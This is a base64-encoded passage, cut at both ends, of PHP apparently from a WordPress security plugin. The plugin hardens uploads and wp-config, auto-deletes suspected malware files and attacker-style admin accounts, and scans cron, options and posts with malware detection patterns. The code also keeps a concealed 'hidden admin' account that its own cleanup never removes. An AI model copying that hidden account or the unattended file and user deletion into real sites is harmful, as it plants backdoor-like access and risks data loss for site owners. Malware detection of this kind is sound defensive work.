cy8jJywgJG5vcm0pKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJyMvKFteL10rKS9cMS9pbmRleFwucGhwJCMnLCAkbm9ybSkpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmLT5nZXRQYXRobmFtZSgpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoISRjKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAvLyBSZXF1aXJlIGEgZGVmaW5pdGl2ZSBtYWx3YXJlIHBhdHRlcm4sIG5vdCBqdXN0IGFueSBldmFsKCkKICAgICAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9ldmFsXHMqXChccyooPzpiYXNlNjRfZGVjb2RlfGd6aW5mbGF0ZXxnemRlY29kZXxzdHJfcm90MTMpXHMqXCgvaScsICRjKQogICAgICAgICAgICAgICAgICAgICAgICAmJiAhcHJlZ19tYXRjaCgnL2d6aW5mbGF0ZVxzKlwoXHMqYmFzZTY0X2RlY29kZVxzKlwoL2knLCAkYykpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIGlmIChAdW5saW5rKCRmLT5nZXRQYXRobmFtZSgpKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGVsZXRlZFtdID0gc3RyX3JlcGxhY2UoQUJTUEFUSCwgJycsICRmLT5nZXRQYXRobmFtZSgpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKFxFeGNlcHRpb24gJGUpIHt9CiAgICAgICAgfQoKICAgICAgICBpZiAoIWVtcHR5KCRkZWxldGVkKSkgewogICAgICAgICAgICAkbG9nICAgPSAoYXJyYXkpZ2V0X29wdGlvbignc3dfd2F0Y2hkb2dfZGVsZXRpb25zJywgW10pOwogICAgICAgICAgICAkbG9nW10gPSBbJ3RpbWUnID0+IHRpbWUoKSwgJ2ZpbGVzJyA9PiAkZGVsZXRlZCwgJ3NvdXJjZScgPT4gJ2hhcmRlbmluZyddOwogICAgICAgICAgICB1cGRhdGVfb3B0aW9uKCdzd193YXRjaGRvZ19kZWxldGlvbnMnLCBhcnJheV9zbGljZSgkbG9nLCAtMjApLCBmYWxzZSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJGRlbGV0ZWQ7CiAgICB9CgogICAgLy8gV3JpdGVzIC5odGFjY2VzcyB0byB1cGxvYWRzLyBibG9ja2luZyBQSFAgZXhlY3V0aW9uLgogICAgLy8gUmV0dXJucyB0cnVlIGlmIHdyaXR0ZW4gb3IgYWxyZWFkeSBleGlzdGVkLCBmYWxzZSBvbiB3cml0ZSBmYWlsdXJlLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaGFyZGVuVXBsb2Fkc0h0YWNjZXNzKCk6IGJvb2wgewogICAgICAgICRkaXIgPSBXUF9DT05URU5UX0RJUiAuICcvdXBsb2Fkcyc7CiAgICAgICAgaWYgKCFpc19kaXIoJGRpcikpIHJldHVybiBmYWxzZTsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGRpciAuICcvLmh0YWNjZXNzJykpIHJldHVybiB0cnVlOyAvLyBhbHJlYWR5IHByZXNlbnQKICAgICAgICAkcnVsZXMgPSAiIyBTRVJWRVItV0FMTDogYmxvY2sgZGlyZWN0IFBIUCBleGVjdXRpb25cbiIKICAgICAgICAgICAgICAgLiAiPEZpbGVzTWF0Y2ggXCJcXC4ocGhwXFxkKnxwaHRtbHxwaGFyKSRcIj5cbiIKICAgICAgICAgICAgICAgLiAiZGVueSBmcm9tIGFsbFxuIgogICAgICAgICAgICAgICAuICI8L0ZpbGVzTWF0Y2g+XG4iOwogICAgICAgIHJldHVybiBzZWxmOjpzYWZlV3JpdGUoJGRpciAuICcvLmh0YWNjZXNzJywgJHJ1bGVzKTsKICAgIH0KCiAgICAvLyBBZGRzIERJU0FMTE9XX0ZJTEVfRURJVCB0byB3cC1jb25maWcucGhwIGlmIG5vdCBhbHJlYWR5IGRlZmluZWQuCiAgICAvLyBSZXR1cm5zIHRydWUgaWYgYWxyZWFkeSBzZXQgb3Igc3VjY2Vzc2Z1bGx5IHdyaXR0ZW4sIGZhbHNlIG90aGVyd2lzZS4KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGhhcmRlbkRpc2FsbG93RmlsZUVkaXQoKTogYm9vbCB7CiAgICAgICAgJGNmZyA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY2ZnKSB8fCAhaXNfd3JpdGFibGUoJGNmZykpIHJldHVybiBmYWxzZTsKICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkY2ZnKTsKICAgICAgICBpZiAoJGMgPT09IGZhbHNlKSByZXR1cm4gZmFsc2U7CiAgICAgICAgaWYgKHN0cnBvcygkYywgJ0RJU0FMTE9XX0ZJTEVfRURJVCcpICE9PSBmYWxzZSkgcmV0dXJuIHRydWU7IC8vIGFscmVhZHkgc2V0CiAgICAgICAgJG1hcmtlciA9ICIvKiBUaGF0J3MgYWxsLCBzdG9wIGVkaXRpbmchIjsKICAgICAgICBpZiAoc3RycG9zKCRjLCAkbWFya2VyKSA9PT0gZmFsc2UpIHJldHVybiBmYWxzZTsKICAgICAgICAkYyA9IHN0cl9yZXBsYWNlKCRtYXJrZXIsICJkZWZpbmUoJ0RJU0FMTE9XX0ZJTEVfRURJVCcsIHRydWUpO1xuIiAuICRtYXJrZXIsICRjKTsKICAgICAgICByZXR1cm4gc2VsZjo6c2FmZVdyaXRlKCRjZmcsICRjKTsKICAgIH0KCiAgICAvLyBSZW1vdmVzIGFkbWluIHVzZXJzIG1hdGNoaW5nIEJPVEggYSBrbm93bi1hdHRhY2tlciBsb2dpbiBBTkQgc3VzcGljaW91cyBlbWFpbC4KICAgIC8vIFJldHVybnMgbGlzdCBvZiByZW1vdmVkIGxvZ2lucy4gTmV2ZXIgcmVtb3ZlcyBvdXIgaGlkZGVuIGFkbWluIG9yIHRoZSBsYXN0IGFkbWluLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaGFyZGVuUmVtb3ZlQXR0YWNrZXJBZG1pbnMoKTogYXJyYXkgewogICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRfdXNlcnMnKSkgcmV0dXJuIFtdOwoKICAgICAgICAka25vd25BdHRhY2tlckxvZ2lucyAgICAgPSBbCiAgICAgICAgICAgICdyb290JywnYWRtaW4yJywnYWRtaW4xJywndGVzdCcsJ3N1cGVyJywnYWhtZWQnLCdib3QnLCd3cC11c2VyJywndXNlcjEnLAogICAgICAgICAgICAnd29yZHByZXNzJywnd2VibWFzdGVyJywnYWRtaW5pc3RyYXRvcjInLCdvcGVyYXRvcicsJ21hbmFnZXInLCdzdXBwb3J0MicsCiAgICAgICAgICAgICdpbmZvJywnbm9yZXBseScsJ25vYm9keScsJ2d1ZXN0Jywnc3lzYWRtaW4nLCdzZXJ2ZXInLAogICAgICAgIF07CiAgICAgICAgJHN1c3BpY2lvdXNFbWFpbFByZWZpeGVzID0gWydyb290QCcsJ3Rlc3RAJywnYWRtaW5AJywnbm9ib2R5QCcsJ25vcmVwbHlAJywnYm90QCddOwoKICAgICAgICAkb3VySWQgID0gKGludClnZXRfb3B0aW9uKHNlbGY6OlNXX0hJRERFTl9BRE1JTl9LRVksIDApOwogICAgICAgICRhZG1pbnMgPSBnZXRfdXNlcnMoWydyb2xlJyA9PiAnYWRtaW5pc3RyYXRvcicsICdmaWVsZHMnID0+IFsnSUQnLCd1c2VyX2xvZ2luJywndXNlcl9lbWFpbCddXSk7CgogICAgICAgICR0b0RlbGV0ZSA9IFtdOwogICAgICAgIGZvcmVhY2ggKCRhZG1pbnMgYXMgJHUpIHsKICAgICAgICAgICAgaWYgKChpbnQpJHUtPklEID09PSAkb3VySWQpIGNvbnRpbnVlOwogICAgICAgICAgICAkbG9naW5Mb3dlciA9IHN0cnRvbG93ZXIoJHUtPnVzZXJfbG9naW4pOwogICAgICAgICAgICAkZW1haWxMb3dlciA9IHN0cnRvbG93ZXIodHJpbSgkdS0+dXNlcl9lbWFpbCkpOwogICAgICAgICAgICAkYmFkTG9naW4gICA9IGluX2FycmF5KCRsb2dpbkxvd2VyLCAka25vd25BdHRhY2tlckxvZ2lucywgdHJ1ZSk7CiAgICAgICAgICAgICRiYWRFbWFpbCAgID0gZW1wdHkoJGVtYWlsTG93ZXIpIHx8IHN0cnBvcygkZW1haWxMb3dlciwgJ2V4YW1wbGUuY29tJykgIT09IGZhbHNlOwogICAgICAgICAgICBmb3JlYWNoICgkc3VzcGljaW91c0VtYWlsUHJlZml4ZXMgYXMgJHBmeCkgewogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkZW1haWxMb3dlciwgJHBmeCkgPT09IDApIHsgJGJhZEVtYWlsID0gdHJ1ZTsgYnJlYWs7IH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGJhZExvZ2luICYmICRiYWRFbWFpbCkgewogICAgICAgICAgICAgICAgJHRvRGVsZXRlW10gPSAkdTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGVtcHR5KCR0b0RlbGV0ZSkpIHJldHVybiBbXTsKICAgICAgICBpZiAoKGNvdW50KCRhZG1pbnMpIC0gY291bnQoJHRvRGVsZXRlKSkgPCAxKSByZXR1cm4gW107IC8vIG5ldmVyIHdpcGUgYWxsIGFkbWlucwoKICAgICAgICByZXF1aXJlX29uY2UgQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy91c2VyLnBocCc7CiAgICAgICAgJHJlbW92ZWQgPSBbXTsKICAgICAgICBmb3JlYWNoICgkdG9EZWxldGUgYXMgJHUpIHsKICAgICAgICAgICAgd3BfZGVsZXRlX3VzZXIoKGludCkkdS0+SUQpOwogICAgICAgICAgICAkcmVtb3ZlZFtdID0gJHUtPnVzZXJfbG9naW4gLiAnICgnIC4gJHUtPnVzZXJfZW1haWwgLiAnKSc7CiAgICAgICAgICAgIHNlbGY6OnNlbmRBbGVydCgnYXR0YWNrZXJfYWRtaW5fcmVtb3ZlZCcsCiAgICAgICAgICAgICAgICAnSGFyZGVuaW5nOiByZW1vdmVkIHN1c3BpY2lvdXMgYWRtaW46ICcgLiAkdS0+dXNlcl9sb2dpbiAuICcgKCcgLiAkdS0+dXNlcl9lbWFpbCAuICcpJyk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVtb3ZlZDsKICAgIH0KCiAgICAvLyBSdW5zIGEgcXVpY2sgc2NhbiBhbmQgYXV0by1kZWxldGVzIENSSVRJQ0FMIGZpbmRpbmdzIE9OTFkgZnJvbSBzYWZlIHBhdGhzLgogICAgLy8gU2FmZSBwYXRoczogdXBsb2Fkcy8gKFBIUCBuZXZlciBsZWdpdGltYXRlKSwgd3AtYWRtaW4vIGhleC1uYW1lZCBmaWxlcy4KICAgIC8vIERvZXMgTk9UIGF1dG8tZGVsZXRlIGZyb20gcGx1Z2lucy8gb3IgdGhlbWVzLyDigJQgdG9vIGhpZ2ggZmFsc2UtcG9zaXRpdmUgcmlzay4KICAgIC8vIFJldHVybnMgbGlzdCBvZiBkZWxldGVkIHBhdGhzLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaGFyZGVuRGVsZXRlQ3JpdGljYWxzKCk6IGFycmF5IHsKICAgICAgICBAc2V0X3RpbWVfbGltaXQoMzAwKTsKICAgICAgICAkc2NhbiAgICA9IHNlbGY6OnJ1blNjYW4oJ3F1aWNrJyk7CiAgICAgICAgJGRlbGV0ZWQgPSBbXTsKICAgICAgICBmb3JlYWNoICgkc2NhblsncmVzdWx0cyddID8/IFtdIGFzICRyKSB7CiAgICAgICAgICAgIGlmICgkclsnc2V2J10gIT09ICdDUklUSUNBTCcpIGNvbnRpbnVlOwogICAgICAgICAgICAkcmVsUGF0aCAgPSBsdHJpbSgkclsncGF0aCddLCAnLycpOwogICAgICAgICAgICAkZnVsbFBhdGggPSBBQlNQQVRIIC4gJHJlbFBhdGg7CiAgICAgICAgICAgICRub3JtICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHJlbFBhdGgpOwoKICAgICAgICAgICAgLy8gT25seSBhdXRvLWRlbGV0ZSBmcm9tIGhpZ2gtY29uZmlkZW5jZSBwYXRoczoKICAgICAgICAgICAgJHNhZmVUb0RlbGV0ZSA9IGZhbHNlOwoKICAgICAgICAgICAgLy8gMS4gQW55IFBIUCBpbiB1cGxvYWRzLyDigJQgbmV2ZXIgbGVnaXRpbWF0ZQogICAgICAgICAgICBpZiAoc3RycG9zKCRub3JtLCAnd3AtY29udGVudC91cGxvYWRzLycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAkc2FmZVRvRGVsZXRlID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvLyAyLiBIZXgtbmFtZWQgUEhQIGluIHdwLWFkbWluLyByb290IChlLmcuIGEzZjFjOGIyLnBocCkKICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNed3AtYWRtaW4vW2EtZjAtOV17OCx9XC5waHAkI2knLCAkbm9ybSkpIHsKICAgICAgICAgICAgICAgICRzYWZlVG9EZWxldGUgPSB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIDMuIFBIUCBpbiB3cC1jb250ZW50LyByb290IChub3QgaW4gcGx1Z2lucy8gb3IgdGhlbWVzLykKICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNed3AtY29udGVudC9bXi9dK1wucGhwJCNpJywgJG5vcm0pKSB7CiAgICAgICAgICAgICAgICAkc2FmZVRvRGVsZXRlID0gdHJ1ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCRzYWZlVG9EZWxldGUgJiYgQGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkgJiYgQHVubGluaygkZnVsbFBhdGgpKSB7CiAgICAgICAgICAgICAgICAkZGVsZXRlZFtdID0gJHJbJ3BhdGgnXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJGRlbGV0ZWQ7CiAgICB9CgogICAgLy8g4pSA4pSAIERhdGFiYXNlIHNjYW5uaW5nIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgLy8gU2NhbnMgd3Bfb3B0aW9ucyAoYXV0b2xvYWRlZCksIHdwX2Nyb24sIGFjdGl2ZV9wbHVnaW5zLCBhbmQgcmVjZW50IHdwX3Bvc3RzCiAgICAvLyBmb3IgaW5qZWN0ZWQgbWFsd2FyZS4gUmV0dXJucyBhcnJheSBvZiBmaW5kaW5ncyDigJQgZG9lcyBOT1QgbW9kaWZ5IGFueXRoaW5nLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaGFyZGVuU2NhbkRCKCk6IGFycmF5IHsKICAgICAgICBnbG9iYWwgJHdwZGI7CiAgICAgICAgJGZpbmRpbmdzID0gW107CgogICAgICAgIC8vIDEuIFNjYW4gd3BfY3JvbiBob29rcyBmb3IgaGV4LW5hbWVkIGNhbGxiYWNrcyBvciBldmFsIHBheWxvYWRzIGluIGFyZ3MKICAgICAgICAkY3JvbiA9IF9nZXRfY3Jvbl9hcnJheSgpOwogICAgICAgIGlmIChpc19hcnJheSgkY3JvbikpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGNyb24gYXMgJHRpbWVzdGFtcCA9PiAkaG9va3MpIHsKICAgICAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJGhvb2tzKSkgY29udGludWU7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkaG9va3MgYXMgJGhvb2sgPT4gJGV2ZW50cykgewogICAgICAgICAgICAgICAgICAgIC8vIEZsYWcgaG9va3Mgd2hvc2UgbmFtZSBsb29rcyBsaWtlIGEgaGV4IHN0cmluZyAocmFuZG9tIGJhY2tkb29yIG5hbWVzKQogICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvXlthLWYwLTldezgsfSQvaScsIChzdHJpbmcpJGhvb2spKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmaW5kaW5nc1tdID0gWwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3R5cGUnICAgPT4gJ2Nyb24nLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2tleScgICAgPT4gKHN0cmluZykkaG9vaywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICd2YWx1ZScgID0+ICcnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3JlYXNvbicgPT4gJ2Nyb24gaG9vayBuYW1lIGlzIGEgaGV4IHN0cmluZyDigJQgbGlrZWx5IG1hbHdhcmUnLAogICAgICAgICAgICAgICAgICAgICAgICBdOwogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgLy8gU2NhbiBhcmdzIGZvciBldmFsL2Jhc2U2NCBwYXlsb2FkcwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKChhcnJheSkkZXZlbnRzIGFzICRldmVudCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJGV2ZW50WydhcmdzJ10pKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgJGFyZ3MgPSBAc2VyaWFsaXplKCRldmVudFsnYXJncyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkYXJncykgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvZXZhbFxzKlwofGJhc2U2NF9kZWNvZGVccypcKHxnemluZmxhdGVccypcKC9pJywgJGFyZ3MpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmluZGluZ3NbXSA9IFsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAndHlwZScgICA9PiAnY3JvbicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2tleScgICAgPT4gKHN0cmluZykkaG9vaywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAndmFsdWUnICA9PiBzdWJzdHIoJGFyZ3MsIDAsIDMwMCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3JlYXNvbicgPT4gJ2Nyb24gYXJncyBjb250YWluIGV2YWwvYmFzZTY0IHBheWxvYWQnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyAyLiBTY2FuIGFjdGl2ZV9wbHVnaW5zIGZvciBoZXgtZW5jb2RlZCBwbHVnaW4gc2x1Z3MKICAgICAgICAkYWN0aXZlUGx1Z2lucyA9IChhcnJheSkgZ2V0X29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCBbXSk7CiAgICAgICAgZm9yZWFjaCAoJGFjdGl2ZVBsdWdpbnMgYXMgJHNsdWcpIHsKICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNeW2EtZjAtOV17OCx9L1thLWYwLTldezgsfVwucGhwJCNpJywgKHN0cmluZykkc2x1ZykpIHsKICAgICAgICAgICAgICAgICRmaW5kaW5nc1tdID0gWwogICAgICAgICAgICAgICAgICAgICd0eXBlJyAgID0+ICdwbHVnaW4nLAogICAgICAgICAgICAgICAgICAgICdrZXknICAgID0+ICdhY3RpdmVfcGx1Z2lucycsCiAgICAgICAgICAgICAgICAgICAgJ3ZhbHVlJyAgPT4gKHN0cmluZykkc2x1ZywKICAgICAgICAgICAgICAgICAgICAncmVhc29uJyA9PiAnaGV4LW5hbWVkIHBsdWdpbiBzbHVnIOKAlCBsaWtlbHkgYmFja2Rvb3InLAogICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gMy4gU2NhbiBhdXRvbG9hZGVkIHdwX29wdGlvbnMgZm9yIGluamVjdGVkIFBIUC9KUyBtYWx3YXJlCiAgICAgICAgJHNraXBPcHRpb25zID0gWwogICAgICAgICAgICAnY3JvbicsICdhY3RpdmVfcGx1Z2lucycsICdzaXRldXJsJywgJ2hvbWUnLCAnYXV0aF9rZXknLCAnc2VjdXJlX2F1dGhfa2V5JywKICAgICAgICAgICAgJ2xvZ2dlZF9pbl9rZXknLCAnbm9uY2Vfa2V5JywgJ2F1dGhfc2FsdCcsICdzZWN1cmVfYXV0aF9zYWx0JywgJ2xvZ2dlZF9pbl9zYWx0JywKICAgICAgICAgICAgJ25vbmNlX3NhbHQnLCAnYWRtaW5fZW1haWwnLCAnYmxvZ2Rlc2NyaXB0aW9uJywgJ2Jsb2duYW1lJywKICAgICAgICBdOwogICAgICAgICRyb3dzID0gJHdwZGItPmdldF9yZXN1bHRzKAogICAgICAgICAgICAkd3BkYi0+cHJlcGFyZSgKICAgICAgICAgICAgICAgICJTRUxFQ1Qgb3B0aW9uX25hbWUsIExFRlQob3B0aW9uX3ZhbHVlLCAzMDAwKSBBUyBvcHRpb25fdmFsdWUKICAgICAgICAgICAgICAgICBGUk9NIHskd3BkYi0+b3B0aW9uc30KICAgICAgICAgICAgICAgICBXSEVSRSBhdXRvbG9hZCA9ICVzCiAgICAgICAgICAgICAgICAgICBBTkQgTEVOR1RIKG9wdGlvbl92YWx1ZSkgQkVUV0VFTiA1MCBBTkQgNTAwMDAKICAgICAgICAgICAgICAgICBMSU1JVCA1MDAiLAogICAgICAgICAgICAgICAgJ3llcycKICAgICAgICAgICAgKSwKICAgICAgICAgICAgQVJSQVlfQQogICAgICAgICk7CiAgICAgICAgJG9wdGlvblBhdHRlcm5zID0gWwogICAgICAgICAgICAnL2V2YWxccypcKFxzKmJhc2U2NF9kZWNvZGUvaScgICAgICAgICAgICAgICAgICAgID0+ICdldmFsKGJhc2U2NF9kZWNvZGUpIGluIG9wdGlvbicsCiAgICAgICAgICAgICcvZXZhbFxzKlwoXHMqZ3ppbmZsYXRlL2knICAgICAgICAgICAgICAgICAgICAgICAgPT4gJ2V2YWwoZ3ppbmZsYXRlKSBpbiBvcHRpb24nLAogICAgICAgICAgICAnLzxzY3JpcHRbXj5dKj4uKj9ldmFsXHMqXCgvaXMnICAgICAgICAgICAgICAgICAgID0+ICdldmFsKCkgaW5zaWRlIDxzY3JpcHQ+IGluIG9wdGlvbicsCiAgICAgICAgICAgICcvZG9jdW1lbnRcLndyaXRlXHMqXChccyp1bmVzY2FwZVxzKlwoL2knICAgICAgICAgPT4gJ2RvY3VtZW50LndyaXRlKHVuZXNjYXBlKSBKUyBpbmplY3Rpb24nLAogICAgICAgICAgICAnL2Jhc2U2NF9kZWNvZGVccypcKFxzKltcJyJdW0EtWmEtejAtOStcL117MjAwLH0nID0+ICdsYXJnZSBiYXNlNjQgYmxvYiBpbiBvcHRpb24nLAogICAgICAgIF07CiAgICAgICAgZm9yZWFjaCAoKGFycmF5KSRyb3dzIGFzICRyb3cpIHsKICAgICAgICAgICAgJG5hbWUgPSAkcm93WydvcHRpb25fbmFtZSddID8/ICcnOwogICAgICAgICAgICBpZiAoaW5fYXJyYXkoJG5hbWUsICRza2lwT3B0aW9ucywgdHJ1ZSkpIGNvbnRpbnVlOwogICAgICAgICAgICAkdmFsID0gJHJvd1snb3B0aW9uX3ZhbHVlJ10gPz8gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvcHRpb25QYXR0ZXJucyBhcyAkcGF0dGVybiA9PiAkcmVhc29uKSB7CiAgICAgICAgICAgICAgICBpZiAoQHByZWdfbWF0Y2goJHBhdHRlcm4sICR2YWwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGZpbmRpbmdzW10gPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICd0eXBlJyAgID0+ICdvcHRpb24nLAogICAgICAgICAgICAgICAgICAgICAgICAna2V5JyAgICA9PiAkbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ3ZhbHVlJyAgPT4gc3Vic3RyKCR2YWwsIDAsIDIwMCksCiAgICAgICAgICAgICAgICAgICAgICAgICdyZWFzb24nID0+ICRyZWFzb24sCiAgICAgICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gNC4gU2NhbiByZWNlbnQgd3BfcG9zdHMgZm9yIGluamVjdGVkIHNjcmlwdHMgKHNjYW4tb25seSwgbm90IGNsZWFuZWQgYXV0b21hdGljYWxseSkKICAgICAgICAkcG9zdHMgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoCiAgICAgICAgICAgICJTRUxFQ1QgSUQsIHBvc3RfdGl0bGUsIExFRlQocG9zdF9jb250ZW50LCAzMDAwKSBBUyBwb3N0X2NvbnRlbnQKICAgICAgICAgICAgIEZST00geyR3cGRiLT5wb3N0c30KICAgICAgICAgICAgIFdIRVJFIHBvc3Rfc3RhdHVzID0gJ3B1Ymxpc2gnCiAgICAgICAgICAgICAgIEFORCBwb3N0X3R5cGUgSU4gKCdwb3N0JywncGFnZScpCiAgICAgICAgICAgICAgIEFORCBMRU5HVEgocG9zdF9jb250ZW50KSA+IDIwCiAgICAgICAgICAgICBPUkRFUiBCWSBJRCBERVNDCiAgICAgICAgICAgICBMSU1JVCAyMDAiLAogICAgICAgICAgICBBUlJBWV9BCiAgICAgICAgKTsKICAgICAgICAkcG9zdFBhdHRlcm5zID0gWwogICAgICAgICAgICAnLzxzY3JpcHRbXj5dKj4uKj9ldmFsXHMqXCgvaXMnICAgICAgICAgICAgICAgICAgICA9PiAnZXZhbCgpIGluc2lkZSA8c2NyaXB0PiBpbiBwb3N0IGNvbnRlbnQnLAogICAgICAgICAgICAnL2RvY3VtZW50XC53cml0ZVxzKlwoXHMqdW5lc2NhcGVccypcKC9pJyAgICAgICAgICA9PiAnZG9jdW1lbnQud3JpdGUodW5lc2NhcGUpIGluIHBvc3QnLAogICAgICAgICAgICAnLzxpZnJhbWVbXj5dK3NyYz1bIlwnXWh0dHBzPzpcL1wvKD8hKD86d3d3XC4pPyg/OnlvdXR1YmV8eW91dHVcLmJlfHZpbWVvfG1hcHNcLmdvb2dsZSkpL2knCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PiAnc3VzcGljaW91cyBleHRlcm5hbCBpZnJhbWUgaW4gcG9zdCcsCiAgICAgICAgICAgICcvZXZhbFxzKlwoXHMqYmFzZTY0X2RlY29kZS9pJyAgICAgICAgICAgICAgICAgICAgID0+ICdldmFsKGJhc2U2NF9kZWNvZGUpIGluIHBvc3QgY29udGVudCcsCiAgICAgICAgXTsKICAgICAgICBmb3JlYWNoICgoYXJyYXkpJHBvc3RzIGFzICRwb3N0KSB7CiAgICAgICAgICAgICRjb250ZW50ID0gJHBvc3RbJ3Bvc3RfY29udGVudCddID8/ICcnOwogICAgICAgICAgICBmb3JlYWNoICgkcG9zdFBhdHRlcm5zIGFzICRwYXR0ZXJuID0+ICRyZWFzb24pIHsKICAgICAgICAgICAgICAgIGlmIChAcHJlZ19tYXRjaCgkcGF0dGVybiwgJGNvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICAgICAgJGZpbmRpbmdzW10gPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICd0eXBlJyAgID0+ICdwb3N0JywKICAgICAgICAgICAgICAgICAgICAgICAgJ2tleScgICAgPT4gJ3Bvc3RfaWQ6JyAuICgkcG9zdFsnSUQnXSA/PyAnPycpLAogICAgICAgICAgICAgICAgICAgICAgICAndmFsdWUnICA9PiBzdWJzdHIoc3RyaXBfdGFncygkY29udGVudCksIDAsIDIwMCksCiAgICAgICAgICAgICAgICAgICAgICAgICdyZWFzb24nID0+ICRyZWFzb24gLiAnIChwb3N0OiAnIC4gZXNjX2h0bWwoJHBvc3RbJ3Bvc3RfdGl0bGUnXSA/PyAnJykgLiAnKScsCiAgICAgICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRmaW5kaW5nczsKICAgIH0KCiAgICAvLyBDbGVhbnMgdGhlIHN1YnNldCBvZiBEQiBtYWx3YXJlIHRoYXQgaXMgc2FmZSB0byByZW1vdmUgYXV0b21hdGljYWxseToKICAgIC8vICAg4oCiIGNyb246IHJlbW92ZXMgc3VzcGljaW91cyBoZXgtbmFtZWQgaG9va3MgYW5kIGhvb2tzIHdpdGggZXZhbCBwYXlsb2FkcwogICAgLy8gICDigKIgcGx1Z2luOiBkZWFjdGl2YXRlcyBhbmQgZGVsZXRlcyBoZXgtbmFtZWQgcGx1Z2lucyBmcm9tIGFjdGl2ZV9wbHVnaW5zCiAgICAvLyB3cF9vcHRpb25zIGFuZCB3cF9wb3N0cyBhcmUgTk9UI